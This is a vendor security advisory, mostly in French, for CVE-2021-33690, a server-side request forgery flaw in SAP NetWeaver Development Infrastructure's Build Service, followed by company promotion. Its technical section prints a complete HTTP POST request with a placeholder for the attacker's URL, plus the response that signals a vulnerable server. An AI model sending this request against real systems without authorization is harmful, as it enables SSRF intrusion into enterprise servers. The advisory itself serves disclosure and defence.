redrays-io/cve-2021-33690[CVE-2021-33690] Vulnérabilité de type Server Side Request Forgery dans SAP NetWeaver Development Infrastructure
[CVE-2021-33690] Vulnérabilité de type Server-Side Request Forgery dans SAP NetWeaver Development Infrastructure
Application: SAP NetWeaver AS Java
Versions Affected: SAP NetWeaver Development Infrastructure Component Build Service versions – 7.11, 7.20, 7.30, 7.31, 7.40, 7.50
Vendor URL: https://sap.com/
Bug: SSRF
Date of Public Advisory: June 1, 2023
Reference: [https://nvd.nist.gov/vuln/detail/CVE-2021-33690]
SAP Note: 3072955
SAP Approved Fixes: True
Status: analyzed and published
INFORMATIONS SUR L'AVIS DE SÉCURITÉ Titre : [CVE-2021-33690] Vulnérabilité de type Server-Side Request Forgery dans SAP NetWeaver Development Infrastructure Risque : Critique URL de l'avis : https://redrays.io/cve-2021-33690-server-side-request-forgery-vulnerability/ Date de publication : 1er juin 2023
INFORMATIONS SUR LA VULNÉRABILITÉ Exploitable à distance : Oui Exploitable localement : Non
Informations CVSS Score de base CVSS v3.1 : 9,9 / 10 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
DESCRIPTION DE LA VULNÉRABILITÉ Une vulnérabilité connue sous le nom de Server-Side Request Forgery (SSRF) a été identifiée dans plusieurs versions du composant Build Service de SAP NetWeaver Development Infrastructure, à savoir les versions 7.11, 7.20, 7.30, 7.31, 7.40 et 7.50. Cette faille au sein du composant Build Service de SAP NetWeaver Development Infrastructure permet à un attaquant disposant d'un accès au serveur d'exécuter des attaques par proxy à l'aide de requêtes spécialement conçues. Ces attaques peuvent aboutir à la compromission totale des données sensibles du serveur, affectant ainsi leur accessibilité. Il est essentiel de noter que la gravité de cette vulnérabilité dépend du fait que SAP NetWeaver Development Infrastructure (NWDI) fonctionne sur l'intranet ou sur Internet. Le score CVSS a été calculé sur la base du pire scénario, qui suppose un fonctionnement en ligne.
DESCRIPTION TECHNIQUE
Pour déterminer si le serveur est vulnérable aux SSRF, envoyez la requête suivante :
POST /tc.CBS.Appl/tcspseudo HTTP/1.1
Host: redrayssap:50000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
CBS=http://%YOUR_PAYLOAD%&USER=1&PWD=1&REQ_CONFIRM_DELAY=2000&ACTION=CONFIGURE
Si la réponse suivante est reçue, cela indique la présence de la vulnérabilité :
<?xml version="1.0" encoding="UTF-8"?><Cause>Could not connect to the CBS.</Cause>
À propos de RedRays RedRays est une entreprise de cybersécurité de premier plan qui protège les systèmes ERP contre les activités frauduleuses internes et les cybermenaces externes. Nous sommes fiers de fournir des solutions de sécurité robustes aux grandes entreprises et aux fournisseurs de services managés qui s'appuient sur les principaux systèmes ERP tels que SAP, Oracle et Microsoft. Grâce à des outils et des stratégies avancés, nous supervisons et contrôlons de manière proactive la sécurité dans de vastes environnements SAP à l'échelle mondiale.
Notre objectif principal est de combler le fossé en matière de sécurité d'un point de vue à la fois technique et commercial, en garantissant la continuité des opérations de nos clients et la protection de leurs précieuses données. Chez RedRays, nous nous engageons à maintenir des normes de sécurité de premier ordre tout en offrant un service et une assistance clients exceptionnels.
À propos de la R&D de RedRays La pierre angulaire des succès de RedRays réside dans notre unité de recherche et développement (R&D), spécialisée dans l'étude et l'analyse des vulnérabilités des applications d'entreprise essentielles. Nos initiatives de R&D ont été reconnues et saluées par les principaux éditeurs de logiciels tels que SAP, Oracle, Microsoft Dynamics et IBM. Cet engagement en faveur de la recherche nous permet d'anticiper les menaces émergentes et de créer des solutions de sécurité sur mesure qui répondent aux besoins de nos clients.
Notre équipe est composée de professionnels chevronnés possédant des compétences diverses couvrant plusieurs domaines de la sécurité, notamment l'évaluation des vulnérabilités, les tests d'intrusion, la gestion des incidents et le renseignement sur les menaces. Nous nous engageons à mener des recherches rigoureuses et à fournir des solutions avant-gardistes pour renforcer les systèmes SAP contre des menaces en constante évolution.
Pour toute question ou information complémentaire, n'hésitez pas à nous contacter :